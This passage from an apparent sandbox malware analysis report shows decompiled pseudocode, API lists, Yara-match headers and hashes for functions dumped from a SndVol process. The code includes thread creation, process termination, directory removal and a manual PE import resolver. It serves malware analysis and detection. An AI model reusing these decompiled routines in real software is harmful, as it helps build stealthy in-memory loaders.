                                    • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B7EF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DeleteDirectoryFileRemove
                                    • String ID: pth_unenc
                                    • API String ID: 3325800564-4028850238
                                    • Opcode ID: 88e96a8173b682c54d564dd3c6d6f117ced71a209c30aa3c6350f34697caf810
                                    • Instruction ID: 8946e93c50c242ae22eab23d4fc85e5ed07eddfaa886144743a5101fb039176e
                                    • Opcode Fuzzy Hash: 88e96a8173b682c54d564dd3c6d6f117ced71a209c30aa3c6350f34697caf810
                                    • Instruction Fuzzy Hash: 17E046311006129BCB14AB258848AD63398AB5031AF00086BA492A32A1EF38A809CAAC
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A22D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040A22D(char _a4) {

				E0040B83A(0x475158,  &_a4);
				if( *0x475139 == 0) {
					CreateThread(0, 0, E0040A273, 0x4750f0, 0, 0);
				}
				return E00401F09();
			}



                                    0x0040a237
                                    0x0040a243
                                    0x0040a255
                                    0x0040a255
                                    0x0040a264

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateThread
                                    • String ID: XQG$Cgt
                                    • API String ID: 2422867632-2707420813
                                    • Opcode ID: bac0bf685849928ddf8958af987ff19a23e11a65703be70de8ef275babd62490
                                    • Instruction ID: 2a1cbdb8206e100bb01696748888ff261754bca91143acd1fcdc8c9c5a32c2bb
                                    • Opcode Fuzzy Hash: bac0bf685849928ddf8958af987ff19a23e11a65703be70de8ef275babd62490
                                    • Instruction Fuzzy Hash: 37D05B609403467DE600A7308C55F7B334CE750705F40847FB589E51E1DBBC9D54961D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041279E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041279E() {
				int _t3;
				signed int _t6;

				 *0x472d4b = 0;
				_t3 = TerminateProcess( *0x472d64, 0);
				WaitForSingleObject( *0x472d64, 0xffffffff);
				return _t6 & 0xffffff00 | _t3 != 0x00000000;
			}





                                    0x004127a7
                                    0x004127ae
                                    0x004127c1
                                    0x004127ca

                                    APIs
                                    • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F816), ref: 004127AE
                                    • WaitForSingleObject.KERNEL32(000000FF), ref: 004127C1
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ObjectProcessSingleTerminateWait
                                    • String ID: pth_unenc
                                    • API String ID: 1872346434-4028850238
                                    • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                                    • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                                    • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                                    • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00440BE1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00440BE1(void* __edx, short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t64 = __edx;
				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E0043A707(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E0044052D())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t56 = _t70 + 1;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E0044052D())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E0044AAE0(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E0044052D())) = 0x16;
					return E0043BC3C() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}




























                                    0x00440be1
                                    0x00440bea
                                    0x00440bef
                                    0x00440bf2
                                    0x00440bf6
                                    0x00440c05
                                    0x00440c08
                                    0x00440c28
                                    0x00440c2d
                                    0x00440c30
                                    0x00440c32
                                    0x00440d00
                                    0x00440d06
                                    0x00440d1b
                                    0x00440d27
                                    0x00440d2d
                                    0x00440d2f
                                    0x00440d3e
                                    0x00440d3e
                                    0x00440d3e
                                    0x00440d41
                                    0x00440d41
                                    0x00440d45
                                    0x00440d47
                                    0x00440d4a
                                    0x00440d4a
                                    0x00440d4a
                                    0x00440d4a
                                    0x00000000
                                    0x00440d51
                                    0x00440d36
                                    0x00000000
                                    0x00440d36
                                    0x00440d08
                                    0x00440d0b
                                    0x00440d0e
                                    0x00440d0e
                                    0x00440d10
                                    0x00440d11
                                    0x00440d11
                                    0x00440d15
                                    0x00000000
                                    0x00440d15
                                    0x00440c38
                                    0x00440c3e
                                    0x00440c6b
                                    0x00440c77
                                    0x00440c7d
                                    0x00440c7f
                                    0x00000000
                                    0x00000000
                                    0x00440c85
                                    0x00440c8b
                                    0x00440c8e
                                    0x00440cea
                                    0x00440cef
                                    0x00440cf7
                                    0x00000000
                                    0x00440cf7
                                    0x00440c90
                                    0x00440c93
                                    0x00440c95
                                    0x00440c98
                                    0x00440c9a
                                    0x00440c9c
                                    0x00440cd2
                                    0x00440ce0
                                    0x00440ce6
                                    0x00440ce8
                                    0x00440cfc
                                    0x00000000
                                    0x00440cfc
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00440c9e
                                    0x00440c9e
                                    0x00440c9e
                                    0x00440ca1
                                    0x00440ca4
                                    0x00440ca6
                                    0x00000000
                                    0x00000000
                                    0x00440cb0
                                    0x00440cb7
                                    0x00440cba
                                    0x00440cbc
                                    0x00440cc4
                                    0x00440cc4
                                    0x00440cc7
                                    0x00440cc8
                                    0x00440ccb
                                    0x00440ccd
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00440ccd
                                    0x00440cbe
                                    0x00440cbf
                                    0x00440cc2
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00440cc2
                                    0x00440ccf
                                    0x00000000
                                    0x00440ccf
                                    0x00440c40
                                    0x00440c42
                                    0x00000000
                                    0x00000000
                                    0x00440c48
                                    0x00440c4b
                                    0x00440c4f
                                    0x00440c52
                                    0x00440c56
                                    0x00000000
                                    0x00000000
                                    0x00440c5c
                                    0x00440c5d
                                    0x00440c60
                                    0x00440c62
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00440c64
                                    0x00000000
                                    0x00440c4b
                                    0x00440c0f
                                    0x00000000
                                    0x00440c1a
                                    0x00440bfc
                                    0x00440c02
                                    0x00000000
                                    0x00440c02
                                    0x00440d59

                                    APIs
                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440C77
                                    • GetLastError.KERNEL32 ref: 00440C85
                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440CE0
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharMultiWide$ErrorLast
                                    • String ID:
                                    • API String ID: 1717984340-0
                                    • Opcode ID: 77b723f1483c6ef79eaf4aa6ca227525f645002ebe34907890468f50899a5783
                                    • Instruction ID: 738dcba3259537fdf8b78f40b2710c1e74f7275ffb7d80836afb39b5502575a6
                                    • Opcode Fuzzy Hash: 77b723f1483c6ef79eaf4aa6ca227525f645002ebe34907890468f50899a5783
                                    • Instruction Fuzzy Hash: 49413B70A00205EFEF258FA5C8847ABBBA4EF45310F10416EFA595B3E1DB389C21CB59
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00411AAD Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 78%
                                    			E00411AAD(intOrPtr* __ecx) {
				intOrPtr _t38;
				intOrPtr _t41;
				void _t49;
				int _t52;
				signed short _t54;
				signed int _t55;
				intOrPtr _t56;
				intOrPtr _t58;
				intOrPtr _t59;
				signed short* _t60;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t73;
				void _t74;
				void* _t77;
				intOrPtr* _t78;
				void* _t81;
				void* _t83;
				void* _t84;

				_t78 = __ecx;
				_t77 = 1;
				_t38 =  *__ecx;
				_t58 =  *((intOrPtr*)(__ecx + 4));
				 *((intOrPtr*)(_t84 + 0x10)) = _t58;
				if( *((intOrPtr*)(_t38 + 0x84)) != 0) {
					_t81 =  *((intOrPtr*)(_t38 + 0x80)) + _t58;
					if(IsBadReadPtr(_t81, 0x14) == 0) {
						_t83 = _t81 + 0x10;
						while(1) {
							_t41 =  *((intOrPtr*)(_t83 - 4));
							if(_t41 == 0) {
								goto L24;
							}
							_t59 =  *((intOrPtr*)(_t78 + 0x24))(_t41 + _t58,  *((intOrPtr*)(_t78 + 0x34)));
							 *((intOrPtr*)(_t84 + 0x20)) = _t59;
							if(_t59 == 0) {
								SetLastError(0x7e);
								goto L23;
							} else {
								_push(4 +  *(_t78 + 0xc) * 4);
								_push( *((intOrPtr*)(_t78 + 8)));
								_t66 = E00440E5D();
								if(_t66 == 0) {
									 *((intOrPtr*)(_t78 + 0x2c))(_t59,  *((intOrPtr*)(_t78 + 0x34)));
									SetLastError(0xe);
									L23:
									_t77 = 0;
								} else {
									 *((intOrPtr*)(_t78 + 8)) = _t66;
									 *((intOrPtr*)(_t66 +  *(_t78 + 0xc) * 4)) = _t59;
									 *(_t78 + 0xc) =  *(_t78 + 0xc) + 1;
									_t49 =  *(_t83 - 0x10);
									if(_t49 == 0) {
										_t49 =  *_t83;
									}
									_t69 =  *((intOrPtr*)(_t84 + 0x14));
									_t74 =  *_t83;
									_t60 = _t49 + _t69;
									if( *_t60 != 0) {
										 *((intOrPtr*)(_t84 + 0x10)) = _t74 - _t60 + _t69;
										while(1) {
											_t54 =  *_t60;
											_push( *((intOrPtr*)(_t78 + 0x34)));
											if(_t54 >= 0) {
												_t55 = _t54 + _t69 + 2;
											} else {
												_t55 = _t54 & 0x0000ffff;
											}
											_t56 =  *((intOrPtr*)(_t78 + 0x28))( *((intOrPtr*)(_t84 + 0x20)), _t55);
											_t73 =  *((intOrPtr*)(_t84 + 0x1c));
											_t84 = _t84 + 0xc;
											 *((intOrPtr*)(_t73 + _t60)) = _t56;
											if( *((intOrPtr*)(_t73 + _t60)) == 0) {
												break;
											}
											_t69 =  *((intOrPtr*)(_t84 + 0x14));
											_t60 =  &(_t60[2]);
											if( *_t60 != 0) {
												continue;
											} else {
											}
											goto L17;
										}
										_t77 = 0;
									}
									L17:
									if(_t77 == 0) {
										 *((intOrPtr*)(_t78 + 0x2c))( *((intOrPtr*)(_t84 + 0x1c)),  *((intOrPtr*)(_t78 + 0x34)));
										SetLastError(0x7f);
									} else {
										_t83 = _t83 + 0x14;
										_t52 = IsBadReadPtr(_t83 - 0x10, 0x14);
										_t58 =  *((intOrPtr*)(_t84 + 0x14));
										if(_t52 == 0) {
											continue;
										} else {
										}
									}
								}
							}
							goto L24;
						}
					}
					L24:
				}
				return _t77;
			}






















                                    0x00411ab2
                                    0x00411ab7
                                    0x00411ab8
                                    0x00411aba
                                    0x00411abd
                                    0x00411ac8
                                    0x00411ad7
                                    0x00411ae2
                                    0x00411ae8
                                    0x00411aeb
                                    0x00411aeb
                                    0x00411af0
                                    0x00000000
                                    0x00000000
                                    0x00411aff
                                    0x00411b01
                                    0x00411b09
                                    0x00411bdf
                                    0x00000000
                                    0x00411b0f
                                    0x00411b19
                                    0x00411b1a
                                    0x00411b24
                                    0x00411b28
                                    0x00411bd4
                                    0x00411bdf
                                    0x00411bdf
                                    0x00411be5
                                    0x00411b2e
                                    0x00411b31
                                    0x00411b34
                                    0x00411b37
                                    0x00411b3a
                                    0x00411b3f
                                    0x00411b41
                                    0x00411b41
                                    0x00411b44
                                    0x00411b48
                                    0x00411b4b
                                    0x00411b51
                                    0x00411b58
                                    0x00411b5c
                                    0x00411b5c
                                    0x00411b5e
                                    0x00411b63
                                    0x00411b6d
                                    0x00411b65
                                    0x00411b65
                                    0x00411b65
                                    0x00411b74
                                    0x00411b77
                                    0x00411b7b
                                    0x00411b7e
                                    0x00411b87
                                    0x00000000
                                    0x00000000
                                    0x00411b89
                                    0x00411b8d
                                    0x00411b93
                                    0x00000000
                                    0x00000000
                                    0x00411b95
                                    0x00000000
                                    0x00411b93
                                    0x00411b97
                                    0x00411b97
                                    0x00411b99
                                    0x00411b9b
                                    0x00411bc1
                                    0x00411bc8
                                    0x00411b9d
                                    0x00411b9d
                                    0x00411ba6
                                    0x00411bac
                                    0x00411bb2
                                    0x00000000
                                    0x00000000
                                    0x00411bb8
                                    0x00411bb2
                                    0x00411b9b
                                    0x00411b28
                                    0x00000000
                                    0x00411b09
                                    0x00411aeb
                                    0x00411be7
                                    0x00411be7
                                    0x00411bf0

                                    APIs
                                    • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411E3E), ref: 00411ADA
                                    • IsBadReadPtr.KERNEL32(?,00000014,00411E3E), ref: 00411BA6
                                    • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411BC8
                                    • SetLastError.KERNEL32(0000007E,00411E3E), ref: 00411BDF
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLastRead
                                    • String ID:
                                    • API String ID: 4100373531-0
                                    • Opcode ID: 8da36d4db0654797758e3de5c0ff747caf74ad1f443032a878ffcb5f88faf170
                                    • Instruction ID: c158cee70769b43f790039e199e9481d7f7e05a383a9d793907013376b7da4a0
                                    • Opcode Fuzzy Hash: 8da36d4db0654797758e3de5c0ff747caf74ad1f443032a878ffcb5f88faf170
                                    • Instruction Fuzzy Hash: 2841AE716083059FDB248F59DC84BA7B7E8FF44715F00482EEA86876A1E738F945CB19
                                    Uniqueness

                                    Uniqueness Score: -1.00%